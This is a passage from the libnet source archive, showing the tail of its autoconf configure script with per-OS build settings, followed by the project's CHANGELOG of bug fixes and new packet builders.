"yes"]) AS_IF([test "$enable_tests" = "yes"], [ AC_DEFINE(LIBNET_ENABLE_TESTS, 1, [Useful define for testing purposes.]) ]) # what (not) to do if the user disables shared libraries AM_CONDITIONAL([COND_SHARED], [test "x$enable_shared" != xno]) # Enable some extra features. CFLAGS="$CFLAGS -D_DEFAULT_SOURCE=1" # Check and set OS specific parameters AS_CASE([$target_os], [*linux*], [ LINUX="yes" AC_DEFINE(_BSD_SOURCE, 1, [Define as necessary to "unhide" header symbols.]) AC_DEFINE(_DEFAULT_SOURCE, 1, [Define as necessary to "unhide" header symbols.]) PKG_CONFIG_DEFINES="-D_BSD_SOURCE -D_DEFAULT_SOURCE" AC_CHECK_HEADERS(net/ethernet.h, \ PKG_CONFIG_DEFINES="$PKG_CONFIG_DEFINES -DHAVE_NET_ETHERNET_H") ], [*freebsd*], [ PKG_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN" AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, [FreeBSD has sa_len in struct sockaddr.]) AC_MSG_CHECKING([FreeBSD version, is SOCK_RAW really raw?]) AC_COMPILE_IFELSE([AC_LANG_PROGRAM([[#include ]], [[ #if (__FreeBSD_version >= 1100030) return 0; #else #error FreeBSD pre-11, SOCK_RAW isn't really raw, see https://www.freebsd.org/cgi/man.cgi?ip(4)#end #endif]])],[AC_MSG_RESULT(yes)],[AC_MSG_RESULT(no) AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, FreeBSD pre-11, libnet must byteswap raw ip_len, ip_off) PKG_CONFIG_DEFINES="${PKG_CONFIG_DEFINES} -DLIBNET_BSD_BYTE_SWAP"])], [*netbsd*], [ AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, [Define if libnet should byteswap data.]) PKG_CONFIG_DEFINES="-DLIBNET_BSD_BYTE_SWAP" ], [*openbsd*], [ AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, [Define if the sockaddr structure includes a sa_len member.]) ], [*bsdi*], [ AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, [Define if libnet should byteswap data.]) PKG_CONFIG_DEFINES="-DLIBNET_BSD_BYTE_SWAP" ], [*darwin*], [ AC_DEFINE(HAVE_SOCKADDR_SA_LEN, 1, [Define if the sockaddr structure includes a sa_len member.]) AC_DEFINE(LIBNET_BSD_BYTE_SWAP, 1, [Define if libnet should byteswap data.]) PKG_CONFIG_DEFINES="-DHAVE_SOCKADDR_SA_LEN -DLIBNET_BSD_BYTE_SWAP" ], [*solaris*], [ AC_DEFINE(HAVE_SOLARIS, 1, [Define if we are running on Solaris.]) AC_CHECK_HEADERS(sys/bufmod.h sys/dlpi_ext.h) AC_MSG_CHECKING(for /dev/dlpi device) AS_IF([test -c /dev/dlpi], [ AC_MSG_RESULT(yes) AC_DEFINE(HAVE_DEV_DLPI, 1, [Define if /dev/dlpi is available.]) ], [ AC_MSG_RESULT(no) dir="/dev/dlpi" AC_MSG_CHECKING(for $dir directory) AS_IF([test -d $dir], [ AC_MSG_RESULT(yes) AC_DEFINE_UNQUOTED(DLPI_DEV_PREFIX, "$dir", [Define if /dev/dlpi is a directory.]) ], [ AC_MSG_RESULT(no) ]) ]) AC_CHECK_LIB(socket, socket, ,AC_MSG_ERROR(libsocket not found.)) AC_CHECK_LIB(nsl, gethostbyname, ,AC_MSG_ERROR(libnsl not found.)) AC_CHECK_LIB(resolv, hstrerror, ,AC_MSG_ERROR(libresolv not found.)) # # Broken checksums? # AS_CASE([`uname -r`], [5.4], [ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, [Define if our version of Solaris has broken checksums.]) ], [5.5*], [ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, [Define if our version of Solaris has broken checksums.]) ], [5.8], [ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, [Define if our version of Solaris has broken checksums.]) AC_DEFINE(HAVE_SOLARIS_IPV6, 1, [Define if our version of Solaris supports IPv6.]) ], [5.9], [ AC_DEFINE(STUPID_SOLARIS_CHECKSUM_BUG, 1, [Define if our version of Solaris has broken checksums.]) AC_DEFINE(HAVE_SOLARIS_IPV6, 1, [Define if our version of Solaris supports IPv6.]) ], [5.10 | 5.11 | 5.12], [ AC_DEFINE(HAVE_SOLARIS_IPV6, 1, [Define if our version of Solaris supports IPv6.]) ]) ADDITIONAL_LIBS="-lresolv -lsocket -lnsl" PKG_CONFIG_LIBS="$PKG_CONFIG_LIBS -lresolv -lsocket -lnsl" ], [*hpux11*], [ AC_DEFINE(HAVE_HPUX11, 1, [Define if we are building on HP/UX.]) AC_CHECK_HEADERS(sys/dlpi_ext.h) ], [*cygwin* | *msys*], [ WIN32="yes" AC_SUBST(WIN32) CFLAGS="$CFLAGS -mwin32" AC_CHECK_LIB(packet, PacketSetMode, ,AC_MSG_ERROR(packet lib not found.)) AC_CHECK_LIB(wpcap, pcap_setmode, ,AC_MSG_ERROR(pcap lib not found.)) LIBS="$LIBS -lws2_32" ], [*mingw*], [ WIN32="yes" AC_SUBST(WIN32) AS_IF([test "$enable_shared" = "yes"], [AC_CHECK_TOOL(WINDRES, windres, :)]) AC_DEFINE(WIN32_LEAN_AND_MEAN, 1, [Define to limit the scope of ]) AC_CHECK_LIB(packet, PacketSetMode, ,AC_MSG_ERROR(libpacket.a not found. See README.win32 for more information)) AC_CHECK_LIB(wpcap, pcap_setmode, ,AC_MSG_ERROR(libwpcap.a not found. See README.win32 for more information)) LIBS="$LIBS -lws2_32 -liphlpapi" AS_IF([test "$host" = "i686-w64-mingw32"], [ CFLAGS="$CFLAGS -march=i686 -mwin32"], [ CFLAGS="$CFLAGS -mwin32" AX_CHECK_LINK_FLAG([-Wl,--high-entropy-va], [LDFLAGS="$LDFLAGS -Wl,--high-entropy-va"], [AC_MSG_NOTICE([Consider updating your toolchain.])]) ]) AS_IF([test "${cross_compiling}" = "yes"], [ CFLAGS="$CFLAGS -static-libgcc"]) ], [*irix*], [ CFLAGS="$CFLAGS -DINET6=1" ], [ AC_MSG_WARN(${target_os} is not officially supported yet.) AC_MSG_RESULT(Please report this to ${PACKAGE_BUGREPORT})]) # Automake conditionals for different operating systems AM_CONDITIONAL([WIN32], [test "${WIN32}" = "yes"]) AM_CONDITIONAL([LINUX], [test "${LINUX}" = "yes"]) # Create all files from AC_CONFIG_FILES() AC_OUTPUT # Helper variables for summary, below AS_IF([test ${DX_FLAG_doc} -eq 1], [build_docs=yes], [build_docs=no]) link_layer=`"echo"${LTLIBOBJS}"" | sed 's/.*libnet_link_\(.*\)\$.*/\1/'` AC_MSG_RESULT([ -=-=-=-=-=-=-=-=-=-= $PACKAGE Configuration Complete =-=-=-=-=-=-=-=-=-=- Version ....................... ${VERSION} Host .......................... ${host} Operating System .............. ${host_os} Host CPU ...................... ${host_cpu} Host Vendor ................... ${host_vendor} Host OS ....................... ${host_os} Prefix ........................ ${prefix} Cross-compiling ............... ${cross_compiling} Compiler is GNU (compatible) .. ${ac_cv_c_compiler_gnu} CC ............................ ${CC} CFLAGS ........................ ${CFLAGS} LD ............................ ${LD} LDFLAGS ....................... ${LDFLAGS} LIBS .......................... ${LIBS} Link Layer .................... ${link_layer} Shared Libraries .............. ${enable_shared} Static Libraries .............. ${enable_static} PIC ........................... ${pic_mode} Build Sample Programs ......... ${enable_samples} Build Doxygen documentation.... ${build_docs} Run Unit Tests................. ${enable_tests} To override options $0 --help Report bugs to ${PACKAGE_BUGREPORT} -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- To disable silent build and print the full command line of every stage make V=1 ]) AS_IF([test "$WIN32" = "yes"], [AC_MSG_RESULT( [To compile shared libraries on MinGW use the bundled WinPcap libraries in ./win32/. GCC can NOT produce x64 compatible images with official WinPcap Developer Pack. See README.win32 for more info. ])]) AS_IF([test "$build_docs" = "yes"], [AC_MSG_RESULT( [To build/update the documentation make doc ])]) libnet-1.3/doc/0000775000175000017500000000000014674023650011622 5ustar syqsyqlibnet-1.3/doc/.gitignore0000664000175000017500000000005714506572036013615 0ustar syqsyqDoxyfile fixmanpages libnet.tag html/* latex/* libnet-1.3/doc/CHANGELOG0000664000175000017500000014230514506572036013042 0ustar syqsyq=============================================================================== $Id: CHANGELOG,v 1.26 2004/11/09 07:05:06 mike Exp $ LIBNET 1.1 (c) 1998 - 2004 Mike D. Schiffman http://www.packetfactory.net/libnet =============================================================================== - 1.2 - Prepare for 1.2 release candidate 3 (Sam Roberts) - Remove obsolete SYMBOL_CACHE_SIZE from doxygen.conf (Sam Roberts) - For samples, netinet/in.h is not on windows (Sam Roberts) - Fix errors with missing IPPROTO_MH on windows (Sam Roberts) - Factorize socket setup code for socket opening (Eric Leblond) - Fix build error in Mac OS X (allfro) - Insource comments and whitespace cleanups (Sam Roberts) - Fix #34 correct checksum caculation when IPv6 extension headers being used (Alexander Koeppe) - Make libnet_get_hwaddr() work with 802.1q interfaces in bpf (BSD). (Thomas Habets) - Update libnet_dll.c (dlwdlw) - Update libnet_raw.c (dlwdlw) - Update CHANGELOG (Sam Roberts) - libnet: Remove unneeded trailing -Wl from -version-info line (Gilles Espinasse) - Prepare for 1.2 release candidate 2 (Sam Roberts) - libnet: libnet_build_snmp fix warning (Gilles Espinasse) - libnet: use LIBNET_*RESOLVE const in libnet_name2addr* (Gilles Espinasse) - libnet: fix i486 sample synflood6 warning (Gilles Espinasse) - Some samples need #include for IPPROTO_* on OpenBSD 5.2 (Thomas Habets) - Better description of .so revioning. (Sam Roberts) - Fix gcc warnings. (Stefanos Harhalakis) - Use @retval for correct man page formatting. (Sam Roberts) - Hide undocumented in auto-generated documentation. (Sam Roberts) - Check for socklen_t (suggested by g.esp and Stefanos Harhalakis) (Sam Roberts) - Update to doxygen 1.8 (Sam Roberts) - Only distribute man pages for libnet headers. (Reported by g.esp) (Sam Roberts) - libnet: update for obsolete INCLUDE directive (Gilles Espinasse) - Fix warning inside comment (Gilles Espinasse) - Prepare for 1.2 release candidate. (Sam Roberts) - Bump libnet versions in preparation for 1.2 release. (Sam Roberts) - Cleaned up references to win32 pre-generated headers (Sam Roberts) - VERSION is ancient and unused (Barak A. Pearlmutter) - autoupdate configure.ac (Barak A. Pearlmutter) - Simplify autogen.sh (suggested by Barak A. Pearlmutter) (Sam Roberts) - Ignore doxygen javascript output (Sam Roberts) - remove autoreconf-installed file (Barak A. Pearlmutter) - Use +AC_CONFIG_HEADERS instead of AM_CONFIG_HEADER (Sam Roberts) - Automatic link options ("#pragma comment(lib, ...)") are only for MSVC (ThomasVolkert) - Added guards around definitions of _GNU_SOURCE to avoid redefinitions (ThomasVolkert) - Avoids several warnings for MS C/C++ compiler (ThomasVolkert) - libnet_open_raw4 doesn't return a SOCKET on win32 (Sam Roberts) - Remove unused STDOUT_FILENO, and dead code that used to use it. (Sam Roberts) - Removed references to removed win32/in_systm.h (Sam Roberts) - git ignore doxygen output (Sam Roberts) - Remove automake reference to win32 header that has been removed. (Sam Roberts) - Fixes error messages sometimes include newline, sometimes not. (Sam Roberts) - Properly set l->err_buf if libnet_ifaddrlist() fails. (Thomas Habets) - Pass build errors to caller of batch files. (Sam Roberts) - dlpi: Try harder to find the device for the interface. (Thomas Habets) - dlpi: Correctly extract the unit number from devices with numbers in their name. (Thomas Habets) - Make interface selection work for interfaces with multiple addresses on them. (Sam Roberts) - memory leak fixed, device list needs to freed after use (Sam Roberts) - uint32 address properly initialized with an address (Sam Roberts) - Reformatted and commented win32 specific code. (Sam Roberts) - Interface selection was ignoring interfaces with ipv6. (Sam Roberts) - Use simple batch file to build for win32. (Sam Roberts) - Use LIBNET_API on public functions, instead of an export file. (Sam Roberts) - Note about libnet_get_prand being secure only on windows. (Sam Roberts) - ignore visual studio output artifacts (Sam Roberts) - Don't need iphlpapi.h included. (Sam Roberts) - Libnet.vcxproj file gained a ProjectGUID property. Hm. (Sam Roberts) - visual studio 2010 project files (Sam Roberts) - Convert uses of non-standard uint to uint32_t. (Sam Roberts) - Compiled on win32 with Visual Studio 2010. (Sam Roberts) - Add build instructions for Visual Studio 2010 (Sam Roberts) - Documentation typo, valid should be invalid. (Sam Roberts) - Replace usage of non-standard uint type with uint32_t. (Sam Roberts) - define INET6 on IRIX, making libnet compile cleanly. (Thomas Habets) - Use LIBNET_BSDISH_OS and LIBNET_BSD_BYTE_SWAP on all darwin architectures. (Kimmo Suominen) - Added BSD byteswap for Darwin. Otherwise sendto() returns EINVAL (Emilio Escobar) - Use a common header to trim cut and paste include blocks. (Sam Roberts) - netinet/in.h is needed for IPPROTO_ and sockaddr_in (reported by Dirk Meyer) (Sam Roberts) - 1.1.6 - Note about why including libnet.h breaks dnet.h/dumbnet.h (Sam Roberts) - Prepare for 1.1.6-rc3. (Sam Roberts) - Only use getifaddrs() if it exists. (reported by Dagobert Michelsen) (Sam Roberts) - Clean up use of single and bracket quotes. (Sam Roberts) - FreeBSD and Solaris volunteers to contibute. (Sam Roberts) - ICMPv6 struct is too long, so use length macro (sickmind@lavabit.com) (Sam Roberts) - ICMPv6 pblock sizes are needed to calculate IPv6's ip_len (reported by sickmind@lavabit.com) (Sam Roberts) - Prep for 1.1.6 release, such as bumping version (Sam Roberts) - Add people who have volunteered to check release candidates. (Sam Roberts) - Rework libnet_autobuild_ipv6() to eliminate code duplication. (Sam Roberts) - Implemented libnet_autobuild_ipv6() (repolho) - Implemented unix version of libnet_get_ipaddr6() (repolho) - Reintroduce libnet_pblock_record_ip_offset() which is empty. (Sam Roberts) - Make clear that all contributions are under libnet copyright. (Sam Roberts) - Fix doc comment format errors reported by doxygen. (Sam Roberts) - Update for doxygen 1.7.4. (Sam Roberts) - Note that PORTED is no longer maintained. (Sam Roberts) - Note that CONTRIB is no longer maintained. (Sam Roberts) - Prep for upcoming 1.1.6 release. (Sam Roberts) - Remove BUGS, it referred to non-existent code. (Sam Roberts) - Reworked icmpv6 patch to parallel the form of icmpv4 support. (Sam Roberts) - Don't depend on netinet/ip.h. (Sam Roberts) - Remove unused variable. (Sam Roberts) - Support building ICMPv6 packets. (someone) - Fixed typo in error message. (Thomas Habets) - Use SO_BINDTODEVICE to force packets out opened device. (someone) - Always use an IPPROTO of TCP when calculating TCP checksums. (Sam Roberts) - Use correct addr type for addrlen calculation. (someone) - libnet_build_igmp reserved field was mistakenly called 'code' (Sam Roberts) - Documentation doesn't include any gif files. (Sam Roberts) - Enable IPV6 support on Solaris 11. (Rich Burridge) - Trying to fix write errors (Víctor Martínez) - Presence of linux's PF_PACKET sockets is now detected. The acinclude.m4 merged in from packetfactory's 1.1.3-rc branch mysteriously assumed that that there was no PF_PACKET if the target OS was linux, which is the opposite of what we want. (Sam Roberts) - Fix libnet_build_igmp() to not reverse the order of the ip address. libnet APIs that take IP addresses as a uint32_t expect them to already be in network byte order. (Sam Roberts) - pblock_append deals with raw memory and structs, so declare it correctly (Sam Roberts) - Clarified types and sizes of DHCP/BOOTP chaddr, sname, and file. chaddr is a hardware address, with size specified separately, whereas sname and file are null terminated strings. (Sam Roberts) - Explicitly ignore return value of write (some systems now warn about this). (Sam Roberts) - Synchronize comment about h_len with parameter name in function. (Sam Roberts) - Fixes a buffer overflow issue when copying chaddr, file, and sname fields to the DHCP header. (allfro) - Fixes improper calculation of header size when libnet_pblock_probe is called. payload_s must be added to the header length in order to accommodate for the existence of a non-NULL payload. Otherwise the user is prompted with a 'memcpy would cause overflow' error and the program exits. (allfro) - Fixes incorrect memory block size set in the timeexceed and redirect builders. The n variable does not add the size of the payload (payload_s) for proper allocation of the buffer when payload is not NULL and payload_s is greater than 0. This results in a memcpy buffer overflow error when libnet_pblock_append is called exiting the program. (allfro) - Fixes a bug that incorrectly converts the addr, mask, and next_hop fields to network byte order. Users will usually call libnet_name2addr4 to fill these fields and this function already provides a network byte-ordered value. (allfro) - snap parameter was getting copied into the dhost field. (Sam Roberts) - h_len is no longer used, so pass zero. Coverity noticed that stack garbage was being passed instead of a valid value, its just that the value isn't used, and incluing l->total_size is wrong when the pblock is being updated (though it will work on pblock creation). (Sam Roberts) - Length n should include the value_hdr. (Sam Roberts) - Coverity: UNINIT (Jiri Popelka) - Coverity: REVERSE_INULL (Jiri Popelka) - Coverity: RESOURCE_LEAK (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: OVERRUN_STATIC (Jiri Popelka) - Coverity: FORWARD_NULL (Jiri Popelka) - Coverity: FORWARD_NULL (Jiri Popelka) - Coverity: CHECKED_RETURN (Jiri Popelka) - mkinstalldirs is replaced by autogen.sh. Maybe it shouldn't be checked in? (Sam Roberts) - autogen retries if /sw/... doesn't exist (Sam Roberts) - build_ipv6: set higher traffic class bits (Ulrich Weber) - Fix missing uint instead of u_int (Dagobert Michelsen) - 1.1.5 - IRIX: Get MAC address from ioctl(), not by spawning shell. (Thomas Habets) - Compile fix for IRIX (added includes) (Thomas Habets) - Don't explicitly check for UID 0, we may have capabilities even if not root. (Thomas Habets) (Sam Roberts) - Cleaned up implementations of libnet_get_hwaddr(), some leaked memory, one returned a pointer to data on the stack, and the others return a pointer to static data. I'm settling on the non-reentrant static data form. (Sam Roberts) - Visual C++ compiler(v9.0) uses bitfield type as a hint to pad the bitfield, so struct was too long. (Sam Roberts) - Further simplify autogen.sh (Sam Roberts) - Removed dependency on net/bpf.h, and on pcap.h. (Sam Roberts) - LBL_ALIGN check is unused, removing. (Sam Roberts) - Don't include pcap.h if we've already got net/bpf.h, pcap has it's own bpf. (Sam Roberts) - Make libnet_get_hwaddr work in the last few releases of OpenBSD (stu@spacehopper.org) (Sam Roberts) - Get DLT types from the source, . (Sam Roberts) - Use autoconf -ivf in autogen.sh (suggested by alon.barlev@gmail.com) (Sam Roberts) - Don't distribute libnet.h, it is generated by configure (alon.barlev@gmail.com) (Sam Roberts) - AIX build failures fixed, cause was inclusion of system headers libnet no longer uses (alon.barlev@gmail.com) (Sam Roberts) - Add a link to the old docs. (Sam Roberts) - Added links to github and sourceforge. (Sam Roberts) - Replace C99/C++ comments with traditional C comments. (alon.barlev@gmail.com) (Sam Roberts) - checksum would segfault if a IP checksum was requested for a non-ipv4 header (Sam Roberts) - Closer backwards compat, assume its ipv4 if it's not ipv6. This seems totally wrong, but so it goes. (Sam Roberts) - Try using the ip_len header field to guess the input buffer's size. (Sam Roberts) - libnet_do_checksum(), despite being "internal", is used by external code. libnet needs to maintain backwards API compatibility, tcpsic from the isic package is an example of a binary failing when calling the new API with the old arguments. (Sam Roberts) - merged icmpv6 patch in, but I believe either it or the sample/icmp6_unreach generates the cksum incorrectly (victor@inliniac.net) (Sam Roberts) - Use libtool-1 or libtool-2 whatever available (alon.barlev@gmail.com) (Sam Roberts) - Avoid looking at /dev and /usr/include when cross-compiling (alon.barlev@gmail.com) Alon: The following code support cross compiling: 1. You CANNOT check for /usr/include stuff as cross compiler is installed else-where. Autoconf know how to do this, use its header detection logic and ask the result. 2. Testing for /dev/ can be done only when not cross compiling... (Sam Roberts) - Corrected target_os check, it was broke for linuxgnu, and m4 syntax was invalid (alon.barlev@gmail.com) Alon:The following change is needed in order to solve two issues: 1. linuxgnu and such target os. 2. You cannot set variable with space before '=' as it tries to execute the variable... 3. Print result of test in case of linux (Sam Roberts) - --with-link-layer broken, was using wrong macro name, and didn't include all link types (Sam Roberts) - ac_cv_c_bigendian is yes, not "big" (alon.barlev@gmail.com) (Sam Roberts) - Remove dead code. (Sam Roberts) - h_len is calculated for ip, udp, tcp, icmp, and igmp, so is allowed to be zero. (Sam Roberts) - libnet_t's fd should be initialized to an invalid value, or libnet_destroy() will close stdin. (Sam Roberts) - Alon's use of AC_CHECK_HEADERS fails to detect headers. Reverted part of 57acd56f09158decb69f301e7547ce8cde6ac63f (Sam Roberts) - With link_none, the link apis were failing with not error message. (Sam Roberts) - man doc makefile wasn't correctly referring to the srcdir (alon.barlev@gmail.com) (Sam Roberts) - Avoid mallocing zero bytes, it perturbs electric fence. (Sam Roberts) - autotools patches for cross compiling and separate builddir (alon.barlev@gmail.com) (Sam Roberts) - html doc makefile wasn't correctly referring to the srcdir (alon.barlev@gmail.com) (Sam Roberts) - ip_offset is now calculated on the fly, and UDP and TCP no longer use h_len (Sam Roberts) - IP offset calculation should allow nesting of IP protocols. (Sam Roberts) - Remove gccisms in bitfield definitions. (Sam Roberts) - injection type of LIBNET_NONE, for packet construction without injection (also, more const correctness) (Sam Roberts) - Notes about checksumming. (Sam Roberts) - libnet_build_tcp was not returning the ptag. (Sam Roberts) - Packet boundaries are now passed to _do_checksum(), so it can validate its input. Hopefully, this will end the recurring segmentation faults due to buffer overruns. (Sam Roberts) - TCP building is triggering memory overwrites; closer examination shows the link list manipulation to be wrong, and the checksumming approach to be incapable of working. I reworked code to simplify and clarify how it works currently, in preparation to fixing it. (Sam Roberts) - Updated comments and notes. (Sam Roberts) - Null the pointer in the about-to-be-freed structure, not the one on the stack. (Sam Roberts) - Added missing pblock types, and made strings consistent with definitions. (Sam Roberts) - Change version policy, we will be 1.1.4 until 1.1.5 is released. (Sam Roberts) - Bring CHANGELOG up to date with today, and script used to generated it. (Sam Roberts) - Begin implementation and tests for repairing pblocks after an update. (Sam Roberts) - libnet_pblock_insert_before() didn't remove ptag2 from old location (Sam Roberts) - Clarifications in document comments. (Sam Roberts) - Don't doxygen process internal header libnet-headers.h (Sam Roberts) - Declared many constant arguments as const, const-correct code spews warnings when built against libnet. (Sam Roberts) - Include pcap DLT_ types from correct header, was using an internal one before. (Sam Roberts) - Declared many constant arguments as const, const-correct code spews warnings when built against libnet. (Sam Roberts) - Note about build_data, which doesn't update ip_offset, among other problems. (Sam Roberts) - libnet_clear_packet() wasn't clearing all packet context. (Sam Roberts) - Why don't TCP and UDP use the DATA pblock type? (Sam Roberts) - whitespace cleanup (Sam Roberts) - Add libnet_dll.c as extra, so its there for win32, and build libnet_link.c (Sam Roberts) - This file wasn't being built, and needed to include bpf to build. (Sam Roberts) - Forgot to make device a const string here, too. (Sam Roberts) - make string argument constant (Sam Roberts) - only ignore Makefile in libnet/ (Sam Roberts) - Replace u_intX_t with C99 uintX_t. (Thomas Habets) - pclose() following popen(), not fclose() (Thomas Habets) - snoof & dlpi: don't free on libnet_link_close() (Thomas Habets) - Summarize changes for log. (Sam Roberts) - Reindented, removing hard tabs, and using consistent brace positioning. (Sam Roberts) - The non-standard types are no longer used. (Sam Roberts) - /sw/.. path doesn't always exist (Sam Roberts) - src/libnet_link_snoop.c: Only fclose if f!=NULL (Thomas Habets) - src/libnet_link_snoop.c: fixed snoop-based backend. Works on IRIX. (Thomas Habets) - Use uint64_t, not u_int64_t (Thomas Habets) - define a lying gethostbyname2() if it's not defined (Thomas Habets) - define STDOUT_FILENO if it's not defined (Thomas Habets) - configure.in: check for gethostbyname2 (Thomas Habets) - configure.in: Check for uint{16,32,64}_t (Thomas Habets) - Configure switch to install samples (Sam Roberts) - Attempt at applying a patch to get installable samples, which doesn't work. (Sam Roberts) - Pointers not cleared after free could lead to double deallocation. (Sam Roberts) - Convert CRLF to LF. (Sam Roberts) - Auto* changes to work on OS X from git checkout. (Sam Roberts) - Update autobuild endianness and unaligned checks. (Mike Frysinger) (Sam Roberts) - Add srcdir to include path. (Sam Roberts) - Adjust srcdir and builddir so libnet can build out-of-tree (Robin Getz/Mike Frysinger) (Sam Roberts) - Beginning 1.1.5 development. (Sam Roberts) - 1.1.4 - Strip CRLF from files not in win32/ (Robert Scheck) - libnet was using HAVE_CONFIG_H in a public header in order to deal with platform types. https://bugzilla.redhat.com/show_bug.cgi?id=501633 - Patch to libnet.h.in for compilation on HURD (David Paleino) - 1.1.3 Merged 1.1.3 release candidate from packet factory, 1.1.2, debian patches, and my own fixes, including bugs causing memory corruption: - Fixed various errors, including memory corruption, when IPv4 options are modified. (Sam Roberts) - Convert from latin-1 to utf-8, from Robert Scheck. (Sam Roberts) - Fixed doxygen errors and warnings, and added a deveoper script to prepare libnet. (Sam Roberts) - Removed CVS crud, again. (Sam Roberts) - Applied autotools cleanup patch from Stefanos. (Sam Roberts) - Applied patch from Stefanos to remove the autotools ephemera that leaked back in. (Sam Roberts) - Patches from Stefanos. (Sam Roberts) - Updated .so revision to be one backwards compatible interface after 1.1.2.1-fork's. (Sam Roberts) - Fix for debian bug# 418975, IPv6 wasn't updating ip_offset. See http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=418975 and sample test_ipv6_icmpv4.c for more information, and reproduction. (Sam Roberts) - merged autogen.sh from 1.1.3, now ltmain.sh comes from autogen.sh (Sam Roberts) - 802.1Q and 802.1X header documentation was incorrectly using /** /** is reserved for doxygen documentation comments, and they didn't have any. That those packet headers, and no others, were marked that way was causing man pages to be generated for them, incomplete man pages that then were being hacked by debian patches 02- and 03-. (Sam Roberts) - Update .so version to be one src change past the last debian release. Debian patches to v1.1.2.1 used 4:0:3, in error, so we use 5:0:4, as per the rules. See Makefile.am comments for reference. (Sam Roberts) - Bug fixes and reproduction code for ip_offset accounting problem in libnet_build_ipv4 (Sam Roberts) - doxygen configuration updated, html seems fine - I don't know about the man pages. (Sam Roberts) - autotools merged from v1.1.3 to v1.1.2 (Sam Roberts) - Remove autotools. And some garbage local files that should not have been in upstream tarball. (Sam Roberts) - Removed object files and cvs conflict residue contained in original package. (Sam Roberts) - debian patch 06 attempts to free the wrong pointer, and also leaks memory from the inner loop. (Sam Roberts) - libnet (inconsistently) uses various signed and/or unsigned typedefs instead of char ANSI C uses char for string literals and the standard library, so this generates many warnings. I've fixed a number of the places where types representing null-terminated strings weren't typed correctly. (Sam Roberts) - 09-fix_hurd-i386_build.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 08-fix_libnet_checksum.c.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 07-add_libnet-cq-end-loop.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 06-fix_libnet_pblock_coalesce_leak.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 04-fix_libnet_build_ntp.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 03-fix_libnet_802_1x_hdr.3.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 02-fix_libnet_802_1q_hdr.3.patch See http://packages.debian.org/source/sid/libnet (Sam Roberts) - 01-fix_libnet-functions.h.3.patch from debian source package See http://packages.debian.org/source/sid/libnet (Sam Roberts) - strip CVS subdirectories from upstream package (Sam Roberts) From 1.1.3-rc: Added a libnet_version() function Fixed a bug in libnet_build_ntp() where two arguments werent used due to a typo Fixed a bug ln libnet_name2addr4 in which it didnt call hstrerror Fixed a memory leak in libnet_if_addr.c Internals: added a payload builder macro Added an HSRP builder Fixed the cdp.c sample code Added AC_PREREQ(2.50) to configure.in to come correct Added a libnet udp header prototype. We need to add an entire exported interface for the sole purpose of casting captured packets, this will presumably be a part of the pcap integration. Added libnet_adv_write_raw_ipv4() Fixed the checksum function Updated the autoconf/automake stuff to be up to date with the latest versions. We now use libtool. Fixed a signed/unsigned comparison warning in the LIBNET_DO_PAYLOAD() macro Changed all empty function prototypes to contain the void keyword Removed all C++ style comments Removed the configure.in check for strerror() Mon Mar 29 09:23:49 PST 2004 1.1.2.1 Fixed a typo in the ICMP patch mentioned below Thu Mar 25 10:49:04 PST 2004 1.1.2 Fixed the ICMP error message builders (there was a pblock assembly bug that would prevent you from building more than one ICMP {unreach, time exceed, redirect} in succession; the order of operations has changed slightly for building these packets, see the documenation and sample code Added a Sebek builder Fixed a bug in libnet_autobuild_arp() that had it pulling in the address to a pointer instead of just the address Added AM_MAINTAINER_MODE to configure.in Changed the __libnet_dump* namespace to the more descriptive libnet_diag* Added libnet_getpacket_size() to return the size of a packet in a given l Removed "protocol" from the libnet context. It was a waste of four bytes The raw socket interface always uses the "IPPROTO_RAW" protocol Fixed a memory leak in the advanced interface; there is now a function libnet_adv_free_packet() to free the memory allocated for the packet when libnet_adv_cull_packet() is called Fixed a bug on big endian boxes that had TCP and UDP checksums with odd payloads come out incorrect Changes all error messages to look and feel the same: "%s(): foo\n", __func__ Added a bunch of htons/htonl fixes Continued to add to the doxygen-based documentation Added support for unconfigured interfaces Changed the number of interfaces libnet can handle from 32 to 512 Removed uneeded control structure cruft from libnet_link_dlpi.c Removed sample/ip.c and added sample/ip_link.c and sample/ip_raw.c Added IPv6 fragmentation header builder Added IPv6 routing information header builder Added IPv6 destination options header builder Fixed IPv6 flowlabel and traffic class bitwise math Tue Nov 25 15:33:27 PST 2003 1.1.1 Fixed a bug in libnet_build_icmp_redirect: htonl(gateway) --> gateway. Added icmp_redirect.c sample code. Added libnet_autobuild_arp(). Added a slightly faster checksum. Added a GRE builder. Fixed a buffer overflow in libnet_build_dhcp(). Added more sanity checks to ensure we have proper link or network layer headers when not in advanced mode. Fixed a bug that would sometimes make __libnet_dump_context() crash under linux. Migration from sprintf and strcpy snprintf and strncpy. Fixed bug in libnet_build_ipv4() when calculating size of memory block Removed the support directory -- if you're an OLD version of OpenBSD or FreeBSD you deserve what you get. Added a BGP builder. Changed the error handing functions to be more consistent and use __FUNCTION__. Fixed a bug in libnet_pblock_free() -- replaced it with libnet_pblock_delete(). Fixed all of the inconsistencies inside all of the builders and pblock code where some fringe conditions could result in u_longs being crunched into u_shorts. Fixed libnet_pblock_coalesce() to only require one pass through the list. Added better diagnostics (__libnet_dump_context(), __libnet_dump_pblock()). Added Token Ring and FDDI builders (Linux and Solaris only). Added Token Ring and FDDI sample programs. Fixed the handling of TCP and IP payloads when reusing a pblocks. Fixed the handling of IP headers such that if a TCP packet changes size via subsequent calls to libnet_build_tcp(), the IP header 